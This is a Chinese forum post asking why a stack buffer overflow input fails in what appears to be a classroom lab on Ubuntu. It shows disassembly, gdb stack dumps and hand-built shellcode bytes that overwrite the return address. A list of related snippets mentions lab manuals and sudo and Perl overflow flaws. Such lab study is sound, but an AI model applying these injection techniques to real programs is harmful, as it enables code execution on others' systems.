关于缓冲区攻击溢出问题,ubuntu
2011-11-04 00:29
080484c0 <getbuf>:
80484c0: 55 push %ebp
80484c1: 89 e5 mov %esp,%ebp
80484c3: 8d 45 e8 lea -0x18(%ebp),%eax
80484c6: 83 ec 28 sub $0x28,%esp
80484c9: 89 04 24 mov %eax,(%esp)
80484cc: e8 5f ff ff ff call 8048430 <getxs>
80484d1: 89 ec mov %ebp,%esp
80484d3: b8 01 00 00 00 mov $0x1,%eax
80484d8: 5d pop %ebp
80484d9: c3 ret
80484da: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
080484e0 <test>:
80484e0: 55 push %ebp
80484e1: 89 e5 mov %esp,%ebp
80484e3: 83 ec 08 sub $0x8,%esp
80484e6: c7 04 24 04 86 04 08 movl $0x8048604,(%esp)
80484ed: e8 76 fe ff ff call 8048368 <printf@plt>
80484f2: e8 c9 ff ff ff call 80484c0 <getbuf>
80484f7: 89 44 24 04 mov %eax,0x4(%esp)
80484fb: c7 04 24 15 86 04 08 movl $0x8048615,(%esp)
8048502: e8 61 fe ff ff call 8048368 <printf@plt>
8048507: 89 ec mov %ebp,%esp
8048509: 5d pop %ebp
804850a: c3 ret
804850b: 90 nop
804850c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
gdb为:
(gdb) x/w $ebp
0xbfffefe8: 0xbfffeff8
(gdb) x/w ($ebp+4)
0xbfffefec: 0x080484f7
(gdb) x/w ($ebp-4)
0xbfffefe4: 0x0028bff4
(gdb) x/w ($ebp-0x18)
0xbfffefd0: 0xbfffeff8
(gdb) x/w ($ebp-24)
0xbfffefd0: 0xbfffeff8
所以输入数据应该为:
b8 ef be ad de 68 f7 84 04 08 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 ef ff bf d0 ef ff bf
改为下面这样也是不行啊
b8 ef be ad de 68 f7 84 04 08 c3 00 00 00 00 00 00 00 00 00 f4 bf 28 00 f8 ef ff bf d0 ef ff bf
攻击代码地址为:d0 ef ff bf
是因为这句 <getbuf>
80484c3: 8d 45 e8 lea -0x18(%ebp),%eax
她分配了24个字节空间,所以攻击代码地址有下面的命令得到,
(gdb) x/w ($ebp-24)
0xbfffefd0: 0xbfffeff8
由于为buf分配了24个字节的空间,所以在我的输入后面补了好多的00,一直补到24个字节,这段代码好象没有gs验证码问题(从汇编代码中可以看到)
我也是在ubuntu下工作的,用的gcc版本为3.*
分享到:
相关推荐
缓冲区溢出实验指导书Ubuntu版,英文更加利于理解
实验五 缓冲区溢出实验1
[带有gets功能的缓冲区溢出] Ubuntu 16.04,64位操作系统概述什么是缓冲区溢出? 为什么有问题? 缓冲区溢出很快就是一个异常,程序在将数据写入缓冲区时会超出缓冲区边界。 也就是说,缓冲区是按固定大小创建的,...
SeedLab软件 我的SeedLab v2.0 Ubuntu 20.04软件部分的实验报告 实验室文档和设置: : 目录 缓冲区溢出攻击实验室(服务器版) 返回libc 环境变量 比赛条件+脏牛 格式字符串 光谱和熔毁
基本的栈溢出攻击,是最早产生的一种缓冲区溢出攻击方法,它是所有其他缓冲区溢出攻击的基础。但是,由于这种攻击方法产生的时间比较长,故而GCC编译器、Linux操作系统提供了一些机制来阻止这种攻击方法对系统产生...
C中的缓冲区溢出程序 关于 这是团队作业。 要求是通过shell代码传递缓冲区溢出。 该项目使用perl脚本来运行漏洞利用程序。 支持的操作系统是使用gcc编译器Linux和使用borland编译器的Windows。 当前不支持Mac。 ...
Perl是流行的跨平台编程语言。 部分Perl脚本在处理PERLIO_DEBUG变量时存在问题,本地攻击者可以利用这个漏洞破坏系统文件或进行缓冲区溢出攻击。
几天前,在sudo中发现了严重的基于堆的缓冲区溢出,任何本地用户都可以利用该缓冲区溢出。 它的发现者将其命名为Baron Samedit。 即使未在sudoers文件中列出用户,也可以利用该错误将特权提升为root用户。 利用该...
您必须在 vulcan 上利用 Ubuntu 的漏洞(例如缓冲区溢出)才能获得 root 权限; 也就是说,当我的笔记本电脑与 vulcan 建立开放的 ssh 连接以领取奖品时,你不能偷走它。 您必须写下漏洞的简短摘要以及您如何利用它...
WC缓存的帧缓冲区,可在真实硬件上快速渲染 多核RR抢占式O(1)调度程序 PS / 2控制器驱动程序+键盘和鼠标 自己的BIOS引导程序 完全现代的C ++ 17内核 单元测试完全涵盖了内核/通用中的几乎所有内容 没有第三方代码 ...
4. 完善了event的缓冲区,和以前的webqq结合使用。 5. 使用assert函数,便于精简发布版本的代码。 Version 2.0 (2008-7-17) New featrues: 1. 包管理器的链表改用loop数据结构,精简代码,减少错误。 2. (--a)%b...
4. 完善了event的缓冲区,和以前的webqq结合使用。 5. 使用assert函数,便于精简发布版本的代码。 Version 2.0 (2008-7-17) New featrues: 1. 包管理器的链表改用loop数据结构,精简代码,减少错误。 2. (--a)%b...